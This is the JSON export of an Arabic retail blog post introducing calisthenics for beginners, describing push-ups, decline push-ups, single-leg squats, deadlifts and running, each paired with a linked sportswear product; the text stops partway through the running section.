{"id":14090,"date":"2025-09-29T16:00:04","date_gmt":"2025-09-29T12:00:04","guid":{"rendered":"https:\/\/blog.sssports.com\/ar\/?p=14090"},"modified":"2025-09-29T17:30:51","modified_gmt":"2025-09-29T13:30:51","slug":"%d8%aa%d9%85%d8%a7%d8%b1%d9%8a%d9%86-%d8%b1%d9%8a%d8%a7%d8%b6%d9%8a%d8%a9-%d8%a8%d8%a7%d8%b3%d8%aa%d8%ae%d8%af%d8%a7%d9%85-%d9%88%d8%b2%d9%86-%d8%a7%d9%84%d8%ac%d8%b3%d9%85","status":"publish","type":"post","link":"https:\/\/blog.sssports.com\/ar\/%d8%aa%d9%85%d8%a7%d8%b1%d9%8a%d9%86-%d8%b1%d9%8a%d8%a7%d8%b6%d9%8a%d8%a9-%d8%a8%d8%a7%d8%b3%d8%aa%d8%ae%d8%af%d8%a7%d9%85-%d9%88%d8%b2%d9%86-%d8%a7%d9%84%d8%ac%d8%b3%d9%85\/","title":{"rendered":"\u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633: \u062a\u0645\u0627\u0631\u064a\u0646 \u0631\u064a\u0627\u0636\u064a\u0629 \u0628\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645\u00a0"},"content":{"rendered":"\n<p>\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0644\u0627 \u062a\u0632\u0627\u0644 \u063a\u0631\u064a\u0628\u0629 \u0639\u0644\u0649 \u0627\u0644\u0643\u062b\u064a\u0631\u064a\u0646\u060c \u0648\u062a\u062f\u0648\u0631 \u062d\u0648\u0644\u0647\u0627 \u062a\u0633\u0627\u0624\u0644\u0627\u062a \u0643\u062b\u064a\u0631\u0629: \u0647\u0644 \u062a\u0631\u062a\u0628\u0637 \u0628\u0627\u0644\u062c\u0645\u0628\u0627\u0632\u061f \u0647\u0644 \u064a\u0645\u0627\u0631\u0633\u0647\u0627 \u0627\u0644\u0631\u062c\u0627\u0644 \u0648\u0627\u0644\u0646\u0633\u0627\u0621 \u0639\u0644\u0649 \u062d\u062f \u0633\u0648\u0627\u0621\u061f \u0647\u0644 \u062a\u064f\u0635\u0646\u0641 \u0636\u0645\u0646 \u0627\u0644\u0641\u0646\u0648\u0646 \u0627\u0644\u0642\u062a\u0627\u0644\u064a\u0629\u061f \u0627\u0644\u0623\u0645\u0631 \u0627\u0644\u0623\u0643\u064a\u062f \u0647\u0648 \u0623\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u062a\u0645\u0646\u062d \u0642\u0648\u0629 \u0647\u0627\u0626\u0644\u0629 \u0648\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u0631\u0634\u0627\u0642\u0629 \u0645\u0630\u0647\u0644\u0629 \u0628\u0637\u0631\u064a\u0642\u0629 \u0645\u0628\u0647\u0631\u0629 \u0648\u0645\u0644\u0647\u0645\u0629.<\/p>\n\n\n\n<p>\u0648\u0627\u0644\u0622\u0646\u060c \u0633\u0646\u062a\u0639\u0631\u0641 \u0628\u0634\u0643\u0644 \u0645\u0641\u0635\u0644 \u0639\u0646 \u0647\u0630\u0647 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0623\u0647\u0645\u064a\u062a\u0647\u0627 \u0644\u0644\u062c\u0633\u0645 \u0648\u0627\u0644\u0639\u0636\u0644\u0627\u062a\u060c \u0643\u0630\u0644\u0643 \u0645\u0627 \u064a\u0645\u064a\u0632\u0647\u0627 \u0648\u0645\u0627 \u0623\u0641\u0636\u0644 \u0645\u0627 \u064a\u064f\u0645\u0643\u0646 \u0627\u0631\u062a\u062f\u0627\u0648\u0647 \u0644\u0644\u0642\u064a\u0627\u0645 \u0628\u0647\u0627 \u0645\u0646 \u062e\u0644\u0627\u0644 \u0647\u0630\u0647 \u0627\u0644\u0645\u0642\u0627\u0644\u0629.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u0645\u0627 \u0647\u064a \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633\u061f \u062f\u0644\u064a\u0644 \u0627\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646<\/strong><\/h2>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/CALISTHENICS_750X429_03.jpg\" alt=\"\u0631\u064a\u0627\u0636\u064a \u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u064a\u062a\u0645\u0631\u0646 \u0639\u0644\u0649 \u0642\u0636\u0628\u0627\u0646 \u062e\u0627\u0631\u062c\u064a\u0629 \u0641\u064a \u0641\u0639\u0627\u0644\u064a\u0629 \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629 \u062a\u062d\u062a \u0623\u0634\u0639\u0629 \u0627\u0644\u0634\u0645\u0633.\" class=\"wp-image-14019\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0647\u064a \u0634\u0643\u0644 \u0645\u0646 \u0623\u0634\u0643\u0627\u0644 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u062a\u0633\u062a\u062e\u062f\u0645 \u0641\u064a\u0647\u0627 \u0648\u0632\u0646 \u062c\u0633\u0645\u0643 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0648\u062a\u062d\u0633\u064a\u0646 \u0627\u0644\u0642\u0648\u0629 \u0648\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644\u060c \u0648\u063a\u0627\u0644\u0628\u064b\u0627 \u0645\u0627 \u064a\u064f\u0637\u0644\u0642 \u0639\u0644\u064a\u0647\u0627 \u0627\u0633\u0645 &#8220;\u062a\u0645\u0627\u0631\u064a\u0646 \u0648\u0632\u0646 \u0627\u0644\u062c\u0633\u0645&#8221;\u060c \u0648\u064a\u0645\u0643\u0646 \u062a\u0643\u064a\u064a\u0641 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0644\u062a\u0646\u0627\u0633\u0628 \u0623\u064a \u0647\u062f\u0641 \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629\u060c \u0628\u062f\u0621\u064b\u0627 \u0645\u0646 \u0641\u0642\u062f\u0627\u0646 \u0627\u0644\u0648\u0632\u0646 \u0648\u062a\u0642\u0648\u064a\u0629 \u0627\u0644\u062c\u0630\u0639 \u0648\u0635\u0648\u0644\u064b\u0627 \u0625\u0644\u0649 \u0628\u0646\u0627\u0621 \u0627\u0644\u062c\u0633\u0645 \u0628\u0634\u0643\u0644 \u0639\u0627\u0645 \u0648\u0632\u064a\u0627\u062f\u0629 \u0645\u0631\u0648\u0646\u062a\u0647.<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter\"><img loading=\"lazy\" decoding=\"async\" width=\"750\" height=\"429\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2016\/11\/CALISTHENICS_750X429_01.jpg\" alt=\"\u0631\u064a\u0627\u0636\u064a \u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u064a\u0624\u062f\u064a \u062d\u0631\u0643\u0629 \u0645\u062a\u0642\u062f\u0645\u0629 \u0639\u0644\u0649 \u0642\u0636\u0628\u0627\u0646 \u0645\u062a\u0648\u0627\u0632\u064a\u0629 \u0641\u064a \u0645\u0633\u0627\u0628\u0642\u0629 \u0644\u0644\u064a\u0627\u0642\u0629 \u0627\u0644\u0628\u062f\u0646\u064a\u0629.\" class=\"wp-image-14015\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u062a\u064f\u0633\u062a\u062e\u062f\u0645 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0639\u0644\u0649 \u0646\u0637\u0627\u0642 \u0648\u0627\u0633\u0639 \u0645\u0646 \u0642\u0628\u0644 \u0627\u0644\u0642\u0648\u0627\u062a \u0627\u0644\u0639\u0633\u0643\u0631\u064a\u0629 \u0644\u0628\u0646\u0627\u0621 \u0627\u0644\u0642\u062f\u0631\u0629 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u0645\u0644 \u0648\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u0642\u0648\u0629 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\u062c\u0646\u0628\u064b\u0627 \u0625\u0644\u0649 \u062c\u0646\u0628 \u0645\u0639 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0623\u0648\u0632\u0627\u0646 \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0630\u0639 (\u0627\u0644\u0643\u0648\u0631) \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0623\u064a\u0631\u0648\u0628\u064a\u0643\u0633.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>\u0628\u0631\u0646\u0627\u0645\u062c \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0645\u0646 \u0633\u0646 \u0623\u0646\u062f \u0633\u0627\u0646\u062f \u0633\u0628\u0648\u0631\u062a\u0633<\/strong><\/h2>\n\n\n\n<p>\u0648\u0644\u0646\u062a\u062d\u062f\u062b \u0627\u0644\u0622\u0646 \u0628\u0634\u0643\u0644 \u0645\u0641\u0635\u0644 \u0639\u0646 \u0628\u0639\u0636 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0645\u0645\u0627\u0631\u0633\u062a\u0647\u0627 \u0641\u064a \u0627\u0644\u0645\u0646\u0632\u0644 \u0623\u0648 \u062e\u0627\u0631\u062c\u0647\u060c \u0648\u0630\u0644\u0643 \u0636\u0645\u0646 \u0627\u0644\u0639\u0646\u0627\u0648\u064a\u0646 \u0627\u0644\u062a\u0627\u0644\u064a\u0629:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 &#8211; \u0628\u0648\u0634 \u0627\u0628<\/h3>\n\n\n\n<p>\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0647\u0648 \u0623\u062d\u062f \u0623\u0643\u062b\u0631 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0634\u064a\u0648\u0639\u064b\u0627 \u0641\u064a \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633\u060c \u0644\u0623\u0646\u0647 \u064a\u0642\u0648\u064a \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u062b\u0644\u0627\u062b\u064a\u0629 \u0627\u0644\u0631\u0624\u0648\u0633\u060c \u0648\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0639\u0644\u0648\u064a \u0645\u0646 \u0627\u0644\u062c\u0633\u0645 \u0648\u0627\u0644\u0635\u062f\u0631\u060c \u0645\u0639 \u062a\u062d\u0633\u064a\u0646 \u062b\u0628\u0627\u062a \u0627\u0644\u062c\u0630\u0639.<\/p>\n\n\n\n<p>\u0648\u0644\u0644\u062d\u0635\u0648\u0644 \u0639\u0644\u0649 \u062f\u0639\u0645 \u0625\u0636\u0627\u0641\u064a\u060c \u062c\u0631\u0651\u0628 <a href=\"https:\/\/ar-ae.sssports.com\/under-armour-mens-heatgear-armour-tank-top\/UA1361524-001.html\" target=\"_blank\" rel=\"nofollow\" noopener\">\u062a\u064a\u0634\u064a\u0631\u062a \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0647\u064a\u062a \u062c\u064a\u0631 \u0622\u0631\u0645\u0631 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631<\/a>\u060c \u0627\u0644\u0645\u0635\u0646\u0648\u0639 \u0645\u0646 \u0646\u0633\u064a\u062c HeatGear\u00ae \u0627\u0644\u0630\u064a \u064a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0627\u0646\u062a\u0639\u0627\u0634 \u0627\u0644\u062c\u0633\u0645 \u0648\u064a\u0645\u0646\u062d \u0627\u0644\u062f\u0639\u0645 \u0627\u0644\u0644\u0627\u0632\u0645\u060c \u0645\u0645\u0627 \u064a\u0642\u0644\u0644 \u0645\u0646 \u0627\u0647\u062a\u0632\u0627\u0632 \u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0644\u062a\u062a\u0645\u0643\u0646 \u0645\u0646 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0628\u062b\u0642\u0629.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1920\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-1920x1920.jpg\" alt=\"\u062a\u064a\u0634\u064a\u0631\u062a \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0647\u064a\u062a \u062c\u064a\u0631 \u0622\u0631\u0645\u0631 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631\" class=\"wp-image-59394\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-1920x1920.jpg 1920w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-850x850.jpg 850w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-205x205.jpg 205w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-768x768.jpg 768w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-1536x1536.jpg 1536w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-2048x2048.jpg 2048w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-4-850x850-1-45x45.jpg 45w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0627\u0644\u0645\u0627\u0626\u0644<\/h3>\n\n\n\n<p>\u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0627\u0644\u0645\u0627\u0626\u0644 \u0647\u0648 \u0623\u062d\u062f \u0623\u0634\u0643\u0627\u0644 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0627\u0644\u0642\u064a\u0627\u0633\u064a\u060c \u064a\u062a\u0645 \u062a\u0646\u0641\u064a\u0630\u0647 \u0628\u0631\u0641\u0639 \u0633\u0627\u0642\u064a\u0643 \u0639\u0644\u0649 \u0643\u0631\u0633\u064a \u0623\u0648 \u0645\u0642\u0639\u062f \u0644\u0625\u0636\u0627\u0641\u0629 \u0645\u064a\u0644\u0627\u0646 \u0628\u0633\u064a\u0637\u060c \u0625\u0630 \u062a\u0633\u062a\u0647\u062f\u0641 \u0647\u0630\u0647 \u0627\u0644\u0648\u0636\u0639\u064a\u0629 \u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0639\u0644\u0648\u064a \u0645\u0646 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0635\u062f\u0631 (Pectorals)\u060c \u0645\u0645\u0627 \u064a\u0633\u0627\u0639\u062f \u0639\u0644\u0649 \u062a\u0642\u0648\u064a\u0629 \u0635\u062f\u0631\u0643 \u0648\u062c\u0632\u0621\u0643 \u0627\u0644\u0639\u0644\u0648\u064a \u0628\u0634\u0643\u0644 \u0623\u0643\u062b\u0631 \u0641\u0639\u0627\u0644\u064a\u0629.<\/p>\n\n\n\n<p>\u0648\u064a\u0645\u0643\u0646\u0643 \u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0636\u063a\u0637 \u0627\u0644\u0645\u0627\u0626\u0644 \u0648\u0623\u0646\u062a \u062a\u0631\u062a\u062f\u064a <a href=\"https:\/\/ar-ae.sssports.com\/nike-mens-form-dri-fit-shorts\/NKFN2998-451.html\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0634\u0648\u0631\u062a \u0641\u0648\u0631\u0645 \u062f\u0631\u0627\u064a-\u0641\u062a \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0646\u0627\u064a\u0643\u064a<\/a>\u060c \u0627\u0644\u0645\u0635\u0645\u0645 \u0628\u062a\u0642\u0646\u064a\u0629 Dri-FIT \u0627\u0644\u0637\u0627\u0631\u062f\u0629 \u0644\u0644\u0631\u0637\u0648\u0628\u0629 \u0641\u064a \u0647\u064a\u0626\u0629 \u062e\u0641\u064a\u0641\u0629 \u0627\u0644\u0648\u0632\u0646 \u0648\u0645\u0631\u0646\u0629\u060c \u0644\u0625\u0628\u0642\u0627\u0626\u0643 \u0641\u064a \u062d\u0627\u0644\u0629 \u0627\u0646\u062a\u0639\u0627\u0634 \u062f\u0627\u0626\u0645\u0629 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0645\u0639 \u0645\u0646\u062d\u0643 \u062d\u0631\u064a\u0629 \u0627\u0644\u062d\u0631\u0643\u0629.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1920\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-1920x1920.jpg\" alt=\"\u0634\u0648\u0631\u062a \u0641\u0648\u0631\u0645 \u062f\u0631\u0627\u064a-\u0641\u062a \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0646\u0627\u064a\u0643\u064a\" class=\"wp-image-59400\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-1920x1920.jpg 1920w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-850x850.jpg 850w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-205x205.jpg 205w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-768x768.jpg 768w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-1536x1536.jpg 1536w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-2048x2048.jpg 2048w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-3-850x850-1-45x45.jpg 45w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u062a\u0645\u0631\u064a\u0646 \u0633\u0643\u0648\u0627\u062a \u0628\u0633\u0627\u0642 \u0648\u0627\u062d\u062f\u0629<\/h3>\n\n\n\n<p>\u0644\u0623\u062f\u0627\u0621 \u062a\u0644\u0643 \u0627\u0644\u062d\u0631\u0643\u0627\u062a \u0627\u0644\u0645\u0630\u0647\u0644\u0629 \u0639\u0644\u0649 \u0627\u0644\u0631\u0623\u0633 \u0648\u0627\u0644\u0648\u0636\u0639\u064a\u0627\u062a \u0627\u0644\u0645\u062a\u0642\u062f\u0645\u0629\u060c \u0633\u062a\u062d\u062a\u0627\u062c \u0625\u0644\u0649 \u062a\u0642\u0648\u064a\u0629 \u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u0648\u0627\u0644\u0639\u0636\u0644\u0627\u062a \u0631\u0628\u0627\u0639\u064a\u0629 \u0627\u0644\u0631\u0624\u0648\u0633\u060c \u0648\u0644\u0630\u0644\u0643 \u064a\u0639\u062a\u0628\u0631 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0633\u0643\u0648\u0627\u062a \u0623\u0633\u0627\u0633\u064a\u064b\u0627 \u0644\u062a\u0642\u0648\u064a\u0629 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u0623\u0644\u0648\u064a\u0629 (Glutes)\u061b \u0644\u0643\u0646 \u062a\u0645\u0631\u064a\u0646 \u0627\u0644\u0640 Split Single Leg Squats \u064a\u064f\u0639\u062f \u0623\u0643\u062b\u0631 \u0641\u0639\u0627\u0644\u064a\u0629 \u0645\u0646 \u063a\u064a\u0631\u0647\u061b \u0646\u0638\u0631\u064b\u0627 \u0644\u0645\u0627 \u064a\u0642\u062f\u0645\u0647 \u0645\u0646 \u0641\u0648\u0627\u0626\u062f \u0644\u0632\u064a\u0627\u062f\u0629 \u0627\u0644\u062b\u0628\u0627\u062a \u0648\u0627\u0644\u062a\u0648\u0627\u0632\u0646.<\/p>\n\n\n\n<p>\u0644\u0647\u0630\u0627\u060c \u0627\u0628\u062f\u0623 \u0627\u0644\u062a\u0645\u0631\u064a\u0646 \u0648\u0623\u0646\u062a \u062a\u0631\u062a\u062f\u064a <a href=\"https:\/\/ar-ae.sssports.com\/under-armour-mens-speedpocket-half-tights\/UA1373218-001.html\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0633\u0628\u064a\u062f\u0628\u0648\u0643\u064a\u062a \u0647\u0627\u0641 \u062a\u0627\u064a\u062a \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631<\/a>\u060c \u0627\u0644\u0630\u064a \u064a\u062a\u0645\u064a\u0632 \u0628\u0642\u0645\u0627\u0634 \u062e\u0641\u064a\u0641 \u0627\u0644\u0648\u0632\u0646 \u0648\u0637\u0627\u0631\u062f \u0644\u0644\u0639\u0631\u0642 \u064a\u062d\u0627\u0641\u0638 \u0639\u0644\u0649 \u0627\u0646\u062a\u0639\u0627\u0634\u0643 \u0648\u062a\u0631\u0643\u064a\u0632\u0643\u060c \u0628\u0627\u0644\u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u062c\u064a\u0628 \u0633\u0628\u064a\u062f\u0628\u0648\u0643\u064a\u062a \u0627\u0644\u0645\u062f\u0645\u062c \u0644\u0644\u062a\u062e\u0632\u064a\u0646 \u0627\u0644\u0622\u0645\u0646 \u0623\u062b\u0646\u0627\u0621 \u0627\u0644\u062d\u0631\u0643\u0629.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1920\" height=\"1920\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-1920x1920.jpg\" alt=\"\u0633\u0628\u064a\u062f\u0628\u0648\u0643\u064a\u062a \u0647\u0627\u0641 \u062a\u0627\u064a\u062a \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u0646\u062f\u0631 \u0622\u0631\u0645\u0631\" class=\"wp-image-59398\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-1920x1920.jpg 1920w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-850x850.jpg 850w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-205x205.jpg 205w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-768x768.jpg 768w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-1536x1536.jpg 1536w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-2048x2048.jpg 2048w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2024\/11\/Product-2-850x850-1-45x45.jpg 45w\" sizes=\"(max-width: 1920px) 100vw, 1920px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u062f\u064a\u062f\u0644\u064a\u0641\u062a \u0628\u0633\u0627\u0642 \u0645\u0633\u062a\u0642\u064a\u0645\u0629<\/h3>\n\n\n\n<p>\u0647\u0648 \u0645\u0646 \u0623\u0643\u062b\u0631 \u0627\u0644\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062a\u064a \u062a\u0642\u0648\u064a \u0639\u0636\u0644\u0627\u062a\u0643 \u0627\u0644\u0623\u0644\u0648\u064a\u0629 (Glutes) \u0648\u0627\u0644\u062c\u0630\u0639 (Core) \u0648\u0623\u0648\u062a\u0627\u0631 \u0627\u0644\u0631\u0643\u0628\u0629 \u0648\u0623\u0633\u0641\u0644 \u0627\u0644\u0638\u0647\u0631\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644\u0647 \u0645\u062b\u0627\u0644\u064a\u064b\u0627 \u0644\u0645\u0645\u0627\u0631\u0633\u064a \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u0627\u0644\u0645\u0628\u062a\u062f\u0626\u064a\u0646.<\/p>\n\n\n\n<p>\u0646\u0646\u0635\u062d\u0643 \u0628\u0627\u0644\u0642\u064a\u0627\u0645 \u0628\u0647 \u0645\u0639 <a href=\"https:\/\/ar-ae.sssports.com\/adidas-mens-own-the-run-tights\/ADH58595.html\" target=\"_blank\" rel=\"nofollow\" noopener\">\u0628\u0646\u0637\u0627\u0644 \u0627\u0648\u0646 \u0630\u0627 \u0631\u0646 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u062f\u064a\u062f\u0627\u0633<\/a>\u060c \u0627\u0644\u0630\u064a \u064a\u062a\u0643\u064a\u0641 \u062d\u0633\u0628 \u062d\u0631\u0643\u062a\u0643\u060c \u0648\u064a\u0637\u0631\u062f \u0627\u0644\u0639\u0631\u0642\u060c \u0648\u064a\u0633\u0627\u0639\u062f\u0643 \u0641\u064a \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u062a\u0631\u0643\u064a\u0632\u0643 \u0645\u0646\u0630 \u0644\u062d\u0638\u0629 \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0648\u062d\u062a\u0649 \u0646\u0647\u0627\u064a\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0646.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"1536\" height=\"1536\" src=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics.jpg\" alt=\"\u0628\u0646\u0637\u0627\u0644 \u0627\u0648\u0646 \u0630\u0627 \u0631\u0646 \u0644\u0644\u0631\u062c\u0627\u0644 \u0645\u0646 \u0623\u062f\u064a\u062f\u0627\u0633\" class=\"wp-image-59766\" srcset=\"https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics.jpg 1536w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics-850x850.jpg 850w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics-205x205.jpg 205w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics-768x768.jpg 768w, https:\/\/blog.sssports.com\/wp-content\/uploads\/2025\/09\/Calisthenics-45x45.jpg 45w\" sizes=\"(max-width: 1536px) 100vw, 1536px\" \/><\/figure>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0627\u0644\u062c\u0631\u064a<\/h3>\n\n\n\n<p>\u0627\u0644\u062c\u0631\u064a \u0647\u0648 \u0645\u0627 \u064a\u062c\u0639\u0644\u0643 \u062a\u0634\u0639\u0631 \u0628\u0627\u0644\u0646\u0634\u0627\u0637\u060c \u0648\u0628\u0645\u0627 \u0623\u0646 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0643\u0627\u0644\u064a\u0633\u062a\u0646\u064a\u0643\u0633 \u062a\u0639\u062a\u0645\u062f \u0628\u0634\u0643\u0644 \u0643\u0628\u064a\u0631 \u0639\u0644\u0649 \u0639\u0636\u0644\u0627\u062a \u0627\u0644\u062c\u0630\u0639 \u0648\u0627\u0644\u062c\u0632\u0621 \u0627\u0644\u0639\u0644\u0648\u064a \u0648\u0627\u0644\u0633\u0641\u0644\u064a \u0645\u0646 \u0627\u0644\u062c\u0633\u0645\u060c \u064a\u062c\u0628 \u062f\u0645\u062c \u0627\u0644\u062c\u0631\u064a \u0645\u0639 \u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u0628\u064a\u0631\u0628\u064a (burpees) \u0648\u0627\u0644\u0633\u0643\u0648\u0627\u062a (squats) \u0648\u062a\u0645\u0627\u0631\u064a\u0646 \u0627\u0644\u062c\u0630\u0639 